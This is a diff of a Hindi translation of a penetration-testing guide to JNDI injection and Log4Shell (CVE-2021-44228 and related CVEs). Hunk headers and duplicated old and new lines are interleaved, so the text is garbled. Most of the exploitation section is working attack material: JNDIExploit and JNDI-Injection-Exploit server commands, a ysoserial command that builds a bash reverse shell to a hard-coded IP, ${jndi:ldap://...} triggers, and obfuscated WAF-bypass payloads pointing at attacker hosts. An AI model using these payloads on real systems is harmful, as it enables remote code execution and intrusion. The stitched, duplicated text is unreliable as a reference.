JNDI, जो 1990 के दशक के अंत से Java में एकीकृत है, एक निर्देशिका सेवा के रूप में कार्य करता है, जिससे Java प्रोग्राम डेटा या वस्तुओं को नामकरण प्रणाली के माध्यम से खोज सकते हैं। यह सेवा प्रदाता इंटरफेस (SPIs) के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जिससे विभिन्न प्रणालियों से डेटा पुनर्प्राप्त करना संभव होता है, जिसमें दूरस्थ Java वस्तुएं शामिल हैं। सामान्य SPIs में CORBA COS, Java RMI Registry, और LDAP शामिल हैं।
|
||||
|
||||
### JNDI Naming Reference
|
||||
|
||||
Java वस्तुओं को JNDI Naming References का उपयोग करके संग्रहीत और पुनर्प्राप्त किया जा सकता है, जो दो रूपों में आते हैं:
|
||||
|
||||
* **Reference Addresses**: एक वस्तु के स्थान को निर्दिष्ट करता है (जैसे, _rmi://server/ref_), जो निर्दिष्ट पते से सीधे पुनर्प्राप्ति की अनुमति देता है।
|
||||
* **Remote Factory**: एक दूरस्थ फैक्ट्री वर्ग को संदर्भित करता है। जब इसे एक्सेस किया जाता है, तो वर्ग को दूरस्थ स्थान से डाउनलोड और इंस्टेंटिएट किया जाता है।
|
||||
* **Remote Factory**: एक दूरस्थ फैक्टरी वर्ग को संदर्भित करता है। जब इसे एक्सेस किया जाता है, तो वर्ग को दूरस्थ स्थान से डाउनलोड और इंस्टेंटिएट किया जाता है।
|
||||
|
||||
हालांकि, इस तंत्र का दुरुपयोग किया जा सकता है, जिससे मनमाने कोड को लोड और निष्पादित किया जा सकता है। एक प्रतिकूल उपाय के रूप में:
|
||||
|
||||
|
@ -40,9 +32,9 @@ Java वस्तुओं को JNDI Naming References का उपयोग
|
|||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` डिफ़ॉल्ट रूप से JDK 6u141, 7u131, 8u121 से, दूरस्थ रूप से लोड की गई Java वस्तुओं के निष्पादन को अवरुद्ध करता है। यदि इसे `true` पर सेट किया जाता है, तो सुरक्षा प्रबंधक की निगरानी के बिना दूरस्थ कोड निष्पादन संभव है।
|
||||
* **CORBA**: इसका कोई विशिष्ट गुण नहीं है, लेकिन सुरक्षा प्रबंधक हमेशा सक्रिय रहता है।
|
||||
|
||||
हालांकि, **Naming Manager**, जो JNDI लिंक को हल करने के लिए जिम्मेदार है, में अंतर्निहित सुरक्षा तंत्र की कमी है, जिससे किसी भी स्रोत से वस्तुओं को पुनर्प्राप्त करने की अनुमति मिलती है। यह एक जोखिम प्रस्तुत करता है क्योंकि RMI, LDAP, और CORBA सुरक्षा उपायों को दरकिनार किया जा सकता है, जिससे मनमाने Java वस्तुओं को लोड करने या मौजूदा अनुप्रयोग घटकों (गैजेट्स) का दुरुपयोग करके दुर्भावनापूर्ण कोड चलाने की अनुमति मिलती है।
|
||||
हालांकि, **Naming Manager**, जो JNDI लिंक को हल करने के लिए जिम्मेदार है, में अंतर्निहित सुरक्षा तंत्र की कमी है, जिससे किसी भी स्रोत से वस्तुओं को पुनर्प्राप्त करने की अनुमति मिलती है। यह एक जोखिम प्रस्तुत करता है क्योंकि RMI, LDAP, और CORBA सुरक्षा उपायों को दरकिनार किया जा सकता है, जिससे मनमाने Java वस्तुओं को लोड करने या मौजूदा एप्लिकेशन घटकों (गैजेट्स) का दुरुपयोग करके दुर्भावनापूर्ण कोड चलाने की अनुमति मिलती है।
|
||||
|
||||
दुरुपयोग योग्य URLs के उदाहरणों में शामिल हैं:
|
||||
दुरुपयोग योग्य URL के उदाहरणों में शामिल हैं:
|
||||
|
||||
* _rmi://attacker-server/bar_
|
||||
* _ldap://attacker-server/bar_
|
||||
|
@ -68,26 +60,26 @@ CORBA (Common Object Request Broker Architecture) एक **Interoperable Object
|
|||
* एक **सुरक्षा प्रबंधक** की स्थापना।
|
||||
* सुरक्षा प्रबंधक को संभावित रूप से दुर्भावनापूर्ण कोडबेस से कनेक्शन की अनुमति देने के लिए कॉन्फ़िगर करना। यह निम्नलिखित के माध्यम से किया जा सकता है:
|
||||
* सॉकेट अनुमति, जैसे, `permissions java.net.SocketPermission "*:1098-1099", "connect";`।
|
||||
* फ़ाइल पढ़ने की अनुमति, या तो सार्वभौमिक रूप से (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) या उन विशिष्ट निर्देशिकाओं के लिए जहां दुर्भावनापूर्ण फ़ाइलें रखी जा सकती हैं।
|
||||
* फ़ाइल पढ़ने की अनुमति, या तो सार्वभौमिक रूप से (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) या विशिष्ट निर्देशिकाओं के लिए जहां दुर्भावनापूर्ण फ़ाइलें रखी जा सकती हैं।
|
||||
|
||||
हालांकि, कुछ विक्रेता नीतियाँ लचीली हो सकती हैं और डिफ़ॉल्ट रूप से इन कनेक्शनों की अनुमति दे सकती हैं।
|
||||
|
||||
### RMI Context
|
||||
|
||||
RMI (Remote Method Invocation) के लिए, स्थिति कुछ हद तक भिन्न है। CORBA की तरह, मनमाने वर्ग डाउनलोडिंग डिफ़ॉल्ट रूप से प्रतिबंधित है। RMI का दुरुपयोग करने के लिए, किसी को आमतौर पर सुरक्षा प्रबंधक को दरकिनार करना होगा, जो CORBA में भी प्रासंगिक है।
|
||||
RMI (Remote Method Invocation) के लिए, स्थिति कुछ हद तक अलग है। CORBA की तरह, मनमाने क्लास डाउनलोडिंग डिफ़ॉल्ट रूप से प्रतिबंधित है। RMI का दुरुपयोग करने के लिए, किसी को आमतौर पर सुरक्षा प्रबंधक को दरकिनार करना होगा, जो CORBA में भी प्रासंगिक है।
|
||||
|
||||
### LDAP
|
||||
|
||||
सबसे पहले, हमें **Search** और **Lookup** के बीच अंतर करना होगा।\
|
||||
एक **search** एक URL का उपयोग करेगा जैसे `ldap://localhost:389/o=JNDITutorial` JNDITutorial वस्तु को LDAP सर्वर से खोजने और **इसके गुणों को पुनर्प्राप्त करने** के लिए।\
|
||||
एक **lookup** **नामकरण सेवाओं** के लिए है क्योंकि हम **जो कुछ भी एक नाम से बंधा है** उसे प्राप्त करना चाहते हैं।
|
||||
एक **search** एक URL का उपयोग करेगा जैसे `ldap://localhost:389/o=JNDITutorial` JNDITutorial वस्तु को LDAP सर्वर से खोजने के लिए और **इसके गुणों को पुनर्प्राप्त करने के लिए**।\
|
||||
एक **lookup** का उद्देश्य **नामकरण सेवाओं** के लिए है क्योंकि हम **जो कुछ भी एक नाम से बंधा है** उसे प्राप्त करना चाहते हैं।
|
||||
|
||||
यदि LDAP खोज को **SearchControls.setReturningObjFlag() with `true`** के साथ लागू किया गया था, तो लौटाई गई वस्तु को पुनर्निर्मित किया जाएगा।
|
||||
यदि LDAP खोज को **SearchControls.setReturningObjFlag() के साथ `true` के साथ लागू किया गया था, तो लौटाई गई वस्तु को पुनर्निर्मित किया जाएगा**।
|
||||
|
||||
इसलिए, इन विकल्पों पर हमला करने के कई तरीके हैं।\
|
||||
एक **हमलावर LDAP रिकॉर्ड को ज़हर दे सकता है, उन पर पेलोड पेश कर सकता है** जो उन प्रणालियों में निष्पादित होंगे जो उन्हें इकट्ठा करती हैं (यदि आपके पास LDAP सर्वर तक पहुंच है तो **दर्जनों मशीनों को समझौता करने के लिए बहुत उपयोगी** है)। इसको दुरुपयोग करने का एक और तरीका होगा **LDAP खोज में एक MitM हमला करना** उदाहरण के लिए।
|
||||
एक **हमलावर LDAP रिकॉर्ड को ज़हर दे सकता है, उन पर पेलोड पेश करके** जो उन प्रणालियों में निष्पादित होंगे जो उन्हें इकट्ठा करती हैं (यदि आपके पास LDAP सर्वर तक पहुंच है तो **दर्जनों मशीनों को समझौता करने के लिए बहुत उपयोगी** है)। इसको दुरुपयोग करने का एक और तरीका यह होगा कि एक **MitM हमले को LDAP खोज में किया जाए** उदाहरण के लिए।
|
||||
|
||||
यदि आप **एक ऐप को JNDI LDAP URL हल करने** के लिए बना सकते हैं, तो आप उस LDAP को नियंत्रित कर सकते हैं जो खोजा जाएगा, और आप दुरुपयोग वापस भेज सकते हैं (log4shell)।
|
||||
यदि आप **एक ऐप को JNDI LDAP URL हल करने के लिए बना सकते हैं**, तो आप उस LDAP को नियंत्रित कर सकते हैं जिसे खोजा जाएगा, और आप दुरुपयोग वापस भेज सकते हैं (log4shell)।
|
||||
|
||||
#### Deserialization exploit
|
||||
|
||||
|
@ -98,7 +90,7 @@ RMI (Remote Method Invocation) के लिए, स्थिति कुछ
|
|||
|
||||
#### JNDI Reference exploit
|
||||
|
||||
इस LDAP पर हमला करना **JavaFactory संदर्भों** का उपयोग करके आसान है:
|
||||
इस LDAP पर **JavaFactory संदर्भों** का उपयोग करके हमला करना आसान है:
|
||||
|
||||
![](<../../.gitbook/assets/image (1059).png>)
|
||||
|
||||
|
@ -106,17 +98,17 @@ RMI (Remote Method Invocation) के लिए, स्थिति कुछ
|
|||
|
||||
यह कमजोरियाँ Log4j में पेश की गई है क्योंकि यह एक [**विशेष सिंटैक्स**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) का समर्थन करता है जो `${prefix:name}` के रूप में है जहां `prefix` विभिन्न [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) में से एक है जहां `name` का मूल्यांकन किया जाना चाहिए। उदाहरण के लिए, `${java:version}` वर्तमान में चल रही Java का संस्करण है।
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ने एक `jndi` Lookup सुविधा पेश की। यह सुविधा JNDI के माध्यम से चर पुनर्प्राप्त करने की अनुमति देती है। आमतौर पर, कुंजी को स्वचालित रूप से `java:comp/env/` के साथ पूर्ववर्ती किया जाता है। हालाँकि, यदि कुंजी में स्वयं एक **":"** शामिल है, तो यह डिफ़ॉल्ट पूर्ववर्ती लागू नहीं होता है।
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ने `jndi` लुकअप सुविधा पेश की। यह सुविधा JNDI के माध्यम से चर पुनर्प्राप्त करने की अनुमति देती है। आमतौर पर, कुंजी को स्वचालित रूप से `java:comp/env/` के साथ पूर्ववर्ती किया जाता है। हालाँकि, यदि कुंजी में स्वयं **":"** शामिल है, तो यह डिफ़ॉल्ट पूर्ववर्ती लागू नहीं होता है।
|
||||
|
||||
कुंजी में **: उपस्थित** होने पर, जैसे `${jndi:ldap://example.com/a}` में कोई **पूर्ववर्ती नहीं है** और **LDAP सर्वर वस्तु के लिए क्वेरी की जाती है**। और ये Lookups Log4j के कॉन्फ़िगरेशन में और साथ ही जब पंक्तियाँ लॉग की जाती हैं, उपयोग की जा सकती हैं।
|
||||
कुंजी में **: उपस्थित** होने पर, जैसे `${jndi:ldap://example.com/a}` में कोई **पूर्ववर्ती नहीं है** और **LDAP सर्वर वस्तु के लिए क्वेरी की जाती है**। और ये लुकअप Log4j के कॉन्फ़िगरेशन में और जब पंक्तियाँ लॉग की जाती हैं, दोनों में उपयोग किए जा सकते हैं।
|
||||
|
||||
इसलिए, RCE प्राप्त करने के लिए केवल एक चीज़ की आवश्यकता है **Log4j का कमजोर संस्करण जो उपयोगकर्ता द्वारा नियंत्रित जानकारी को संसाधित करता है**। और क्योंकि यह एक पुस्तकालय है जो Java अनुप्रयोगों द्वारा जानकारी लॉग करने के लिए व्यापक रूप से उपयोग किया जाता है (इंटरनेट के सामने आने वाले अनुप्रयोगों सहित) यह बहुत सामान्य था कि log4j HTTP हेडर जैसे User-Agent को लॉग करता था। हालाँकि, log4j **केवल HTTP जानकारी को लॉग करने के लिए नहीं बल्कि किसी भी इनपुट** और डेटा को लॉग करने के लिए उपयोग किया जाता है जिसे डेवलपर ने निर्दिष्ट किया।
|
||||
इसलिए, RCE प्राप्त करने के लिए केवल एक चीज़ की आवश्यकता है एक **कमजोर Log4j संस्करण जो उपयोगकर्ता द्वारा नियंत्रित जानकारी को संसाधित करता है**। और क्योंकि यह एक पुस्तकालय है जो Java अनुप्रयोगों द्वारा जानकारी लॉग करने के लिए व्यापक रूप से उपयोग किया जाता है (इंटरनेट के सामने आने वाले अनुप्रयोगों सहित), यह बहुत सामान्य था कि log4j HTTP हेडर जैसे User-Agent को लॉग करता था। हालाँकि, log4j **केवल HTTP जानकारी को लॉग करने के लिए नहीं बल्कि किसी भी इनपुट** और डेटा को लॉग करने के लिए उपयोग किया जाता है जिसे डेवलपर ने निर्दिष्ट किया।
|
||||
|
||||
## Overview of Log4Shell-Related CVEs
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
|
||||
|
||||
यह कमजोरियाँ `log4j-core` घटक में एक महत्वपूर्ण **अविश्वसनीय अनुक्रमण दोष** है, जो 2.0-beta9 से 2.14.1 तक के संस्करणों को प्रभावित करती है। यह **दूरस्थ कोड निष्पादन (RCE)** की अनुमति देती है, जिससे हमलावरों को प्रणालियों पर नियंत्रण प्राप्त करने की अनुमति मिलती है। यह मुद्दा चेन झाओजुन द्वारा रिपोर्ट किया गया था जो अलीबाबा क्लाउड सुरक्षा टीम से हैं और विभिन्न अपाचे ढांचों को प्रभावित करता है। संस्करण 2.15.0 में प्रारंभिक सुधार अधूरा था। रक्षा के लिए सिग्मा नियम उपलब्ध हैं ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))।
|
||||
यह कमजोरियाँ `log4j-core` घटक में एक महत्वपूर्ण **अविश्वसनीय अनुक्रमण दोष** है, जो 2.0-beta9 से 2.14.1 तक के संस्करणों को प्रभावित करती है। यह **दूरस्थ कोड निष्पादन (RCE)** की अनुमति देती है, जिससे हमलावरों को प्रणालियों पर नियंत्रण प्राप्त करने की अनुमति मिलती है। यह मुद्दा चेन झाओजुन द्वारा रिपोर्ट किया गया था जो Alibaba Cloud Security Team से हैं और यह विभिन्न Apache ढांचों को प्रभावित करता है। संस्करण 2.15.0 में प्रारंभिक सुधार अधूरा था। रक्षा के लिए Sigma नियम उपलब्ध हैं ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))।
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
|
||||
|
||||
|
@ -132,11 +124,11 @@ RMI (Remote Method Invocation) के लिए, स्थिति कुछ
|
|||
|
||||
### **CVE-2021-45105** **\[High]**
|
||||
|
||||
Log4j 2.16.0 में एक DoS दोष है, जिससे CVE को ठीक करने के लिए `log4j 2.17.0` जारी किया गया। अधिक विवरण BleepingComputer की [रिपोर्ट](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) में हैं।
|
||||
Log4j 2.16.0 में एक DoS दोष है, जिससे CVE को ठीक करने के लिए `log4j 2.17.0` जारी किया गया। आगे की जानकारी BleepingComputer की [रिपोर्ट](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) में है।
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
Log4j संस्करण 2.17 को प्रभावित करने वाला यह CVE हमलावर को log4j के कॉन्फ़िगरेशन फ़ाइल को नियंत्रित करने की आवश्यकता है। इसमें एक कॉन्फ़िगर किए गए JDBCAppender के माध्यम से संभावित मनमाने कोड निष्पादन शामिल है। अधिक विवरण [Checkmarx ब्लॉग पोस्ट](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) में उपलब्ध हैं।
|
||||
यह log4j संस्करण 2.17 को प्रभावित करता है, इस CVE के लिए हमलावर को log4j के कॉन्फ़िगरेशन फ़ाइल को नियंत्रित करने की आवश्यकता होती है। इसमें एक कॉन्फ़िगर किए गए JDBCAppender के माध्यम से संभावित मनमाने कोड निष्पादन शामिल है। अधिक जानकारी [Checkmarx ब्लॉग पोस्ट](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) में उपलब्ध है।
|
||||
|
||||
## Log4Shell Exploitation
|
||||
|
||||
|
@ -150,7 +142,7 @@ Log4j संस्करण 2.17 को प्रभावित करने
|
|||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
|
||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
|
||||
|
||||
ध्यान दें कि **यहां तक कि यदि एक DNS अनुरोध प्राप्त होता है, तो इसका मतलब यह नहीं है कि अनुप्रयोग दुरुपयोग योग्य है** (या यहां तक कि कमजोर है), आपको इसे दुरुपयोग करने का प्रयास करना होगा।
|
||||
ध्यान दें कि **यहां तक कि यदि एक DNS अनुरोध प्राप्त होता है, तो इसका मतलब यह नहीं है कि एप्लिकेशन दुरुपयोग योग्य है** (या यहां तक कि कमजोर है), आपको इसे दुरुपयोग करने का प्रयास करना होगा।
|
||||
|
||||
{% hint style="info" %}
|
||||
याद रखें कि **संस्करण 2.15** का दुरुपयोग करने के लिए आपको **localhost जांच बायपास** जोड़ने की आवश्यकता है: ${jndi:ldap://**127.0.0.1#**...}
|
||||
|
@ -164,7 +156,7 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
|
|||
```
|
||||
### **Verification**
|
||||
|
||||
कुछ प्लेटफार्म जो पहले सूचीबद्ध हैं, आपको कुछ वेरिएबल डेटा डालने की अनुमति देंगे जो जब अनुरोध किया जाएगा तो लॉग किया जाएगा।\
|
||||
कुछ प्लेटफार्म जो पहले सूचीबद्ध किए गए हैं, आपको कुछ वेरिएबल डेटा डालने की अनुमति देंगे जो जब अनुरोध किया जाएगा तो लॉग किया जाएगा।\
|
||||
यह 2 चीजों के लिए बहुत उपयोगी हो सकता है:
|
||||
|
||||
* **कमजोरी** की **पुष्टि** करने के लिए
|
||||
|
@ -267,7 +259,7 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
|||
{% hint style="info" %}
|
||||
ध्यान दें कि किसी कारणवश लेखक ने log4shell की खोज के बाद इस प्रोजेक्ट को github से हटा दिया। आप [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में एक कैश्ड संस्करण पा सकते हैं, लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस vuln का शोषण करने के लिए एक अलग विधि का उपयोग करें।
|
||||
|
||||
इसके अलावा, आप वेबैक मशीन में स्रोत कोड नहीं पा सकते, इसलिए या तो स्रोत कोड का विश्लेषण करें, या यह जानते हुए कि आप क्या निष्पादित कर रहे हैं, jar को निष्पादित करें।
|
||||
इसके अलावा, आप वेबैक मशीन में स्रोत कोड नहीं पा सकते हैं, इसलिए या तो स्रोत कोड का विश्लेषण करें, या यह जानते हुए कि आप क्या निष्पादित कर रहे हैं, jar को निष्पादित करें।
|
||||
{% endhint %}
|
||||
|
||||
इस उदाहरण के लिए, आप बस इस **log4shell के लिए कमजोर वेब सर्वर** को पोर्ट 8080 पर चला सकते हैं: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे चलाने का तरीका मिलेगा_)। यह कमजोर ऐप log4shell के एक कमजोर संस्करण के साथ HTTP अनुरोध हेडर _X-Api-Version_ की सामग्री को लॉग कर रहा है।
|
||||
|
@ -278,8 +270,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
|
|||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP और HTTP सर्वर बनाए जाते हैं**। LDAP सर्वर समझेगा कि कौन सा payload प्रदान किया जाना चाहिए और पीड़ित को HTTP सर्वर की ओर पुनर्निर्देशित करेगा, जो exploit प्रदान करेगा।\
|
||||
In _com.feihong.ldap.gadgets_ you can find **कुछ विशिष्ट gadgets** जो इच्छित क्रिया को निष्पादित करने के लिए उपयोग किए जा सकते हैं (संभावित रूप से मनमाना कोड निष्पादित करना)। And in _com.feihong.ldap.template_ you can see the different template classes that will **exploits उत्पन्न करें**।
|
||||
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP और HTTP सर्वर बनाए जाते हैं**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
|
||||
In _com.feihong.ldap.gadgets_ you can find **कुछ विशेष गैजेट्स** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **एक्सप्लॉइट्स उत्पन्न करें**.
|
||||
|
||||
You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are:
|
||||
```bash
|
||||
|
@ -312,30 +304,30 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_यह हमला एक कस्टम जनरेटेड जावा ऑब्जेक्ट का उपयोग करके उन प्रयोगशालाओं में काम करेगा जैसे कि **THM सोलर रूम**। हालाँकि, यह सामान्यतः काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को LDAP का उपयोग करके दूरस्थ कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह मनमाने कोड को निष्पादित करने के लिए एक विश्वसनीय क्लास का दुरुपयोग नहीं कर रहा है।_
|
||||
_यह हमला एक कस्टम जनरेटेड जावा ऑब्जेक्ट का उपयोग करके उन प्रयोगशालाओं में काम करेगा जैसे कि **THM सोलर रूम**। हालाँकि, यह सामान्यतः काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को LDAP का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह मनमाने कोड को निष्पादित करने के लिए एक विश्वसनीय क्लास का दुरुपयोग नहीं कर रहा है।_
|
||||
|
||||
### RCE - JNDI-Injection-Exploit-Plus
|
||||
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) **काम करने योग्य JNDI लिंक** उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके बैकग्राउंड सेवाएँ प्रदान करने के लिए एक और उपकरण है।\
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) एक और उपकरण है जो **काम करने योग्य JNDI लिंक** उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके बैकग्राउंड सेवाएँ प्रदान करता है।\
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
यह विकल्प वास्तव में **जावा संस्करणों पर हमला करने के लिए उपयोगी है जो केवल निर्दिष्ट क्लासेस पर भरोसा करते हैं और सभी पर नहीं**। इसलिए, **ysoserial** का उपयोग **विश्वसनीय क्लासेस के सीरियलाइजेशन** उत्पन्न करने के लिए किया जाएगा जो **मनमाने कोड को निष्पादित करने** के लिए गैजेट्स के रूप में उपयोग किया जा सकता है (_ysoserial द्वारा दुरुपयोग की गई विश्वसनीय क्लास को शिकार जावा प्रोग्राम द्वारा उपयोग किया जाना चाहिए ताकि यह हमला काम कर सके_)।
|
||||
यह विकल्प वास्तव में **जावा संस्करणों पर हमला करने के लिए उपयोगी है जो केवल निर्दिष्ट क्लासेस पर भरोसा करते हैं और सभी पर नहीं**। इसलिए, **ysoserial** का उपयोग **विश्वसनीय क्लासेस के सीरियलाइजेशन** उत्पन्न करने के लिए किया जाएगा जो **मनमाने कोड को निष्पादित करने** के लिए गैजेट्स के रूप में उपयोग किया जा सकता है (_ysoserial द्वारा दुरुपयोग की गई विश्वसनीय क्लास को शिकार जावा प्रोग्राम द्वारा उपयोग किया जाना चाहिए ताकि यह हमला काम करे_)।
|
||||
|
||||
**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप उस डीसिरियलाइजेशन हमले को बना सकते हैं जिसे JNDI द्वारा डाउनलोड किया जाएगा:
|
||||
**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप उस डीसिरियलाइजेशन एक्सप्लॉइट को बना सकते हैं जिसे JNDI द्वारा डाउनलोड किया जाएगा:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किए जा सकें जहाँ एक्सप्लॉइट कमजोर मशीनों से कनेक्शन की प्रतीक्षा करेगा। आप **JNDI-Exploit-Kit** द्वारा स्वचालित रूप से उत्पन्न किए गए **विभिन्न एक्सप्लॉइट** या यहां तक कि अपने **स्वयं के डीसिरियलाइजेशन पेलोड** (जो आपने या ysoserial द्वारा उत्पन्न किया है) को सर्व कर सकते हैं।
|
||||
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किए जा सकें जहाँ एक्सप्लॉइट कमजोर मशीनों से कनेक्शन की प्रतीक्षा करेगा। आप **JNDI-Exploit-Kit** द्वारा स्वचालित रूप से उत्पन्न किए गए **विभिन्न एक्सप्लॉइट** या यहां तक कि अपने **स्वयं के डीसिरियलाइजेशन पेलोड** (जो आपने या ysoserial द्वारा उत्पन्न किए हैं) को सर्व कर सकते हैं।
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
![](<../../.gitbook/assets/image (1118).png>)
|
||||
|
||||
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके इस कमजोरी का फायदा उठा सकते हैं और एक **रिवर्स शेल** प्राप्त कर सकते हैं, बस एक कमजोर संस्करण के log4j को भेजकर: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके इस कमजोरी का फायदा उठा सकते हैं और एक **reverse shell** प्राप्त कर सकते हैं, बस एक कमजोर संस्करण के log4j को भेजकर: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
|
||||
### बायपास
|
||||
### Bypasses
|
||||
```java
|
||||
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
|
||||
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
|
||||
|
@ -367,17 +359,17 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
|
||||
## Post-Log4Shell Exploitation
|
||||
|
||||
इस [**CTF लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में यह अच्छी तरह से समझाया गया है कि यह संभावित रूप से **संभव** है कि **Log4J** की कुछ विशेषताओं का **दुरुपयोग** किया जा सके।
|
||||
इस [**CTF लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में यह अच्छी तरह से समझाया गया है कि **Log4J** की कुछ विशेषताओं का **दुरुपयोग** करना **संभव** है।
|
||||
|
||||
Log4j के [**सुरक्षा पृष्ठ**](https://logging.apache.org/log4j/2.x/security.html) में कुछ दिलचस्प वाक्य हैं:
|
||||
|
||||
> संस्करण 2.16.0 (Java 8 के लिए) से, **संदेश लुकअप सुविधा पूरी तरह से हटा दी गई है**। **कॉन्फ़िगरेशन में लुकअप अभी भी काम करते हैं**। इसके अलावा, Log4j अब डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम करता है। अब कॉन्फ़िगरेशन में JNDI लुकअप को स्पष्ट रूप से सक्षम करने की आवश्यकता है।
|
||||
|
||||
> संस्करण 2.17.0 से, (और Java 7 और Java 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में लुकअप स्ट्रिंग्स को पुनरावृत्त रूप से विस्तारित किया गया है**; किसी अन्य उपयोग में, केवल शीर्ष-स्तरीय लुकअप को हल किया जाता है, और किसी भी नेस्टेड लुकअप को हल नहीं किया जाता है।
|
||||
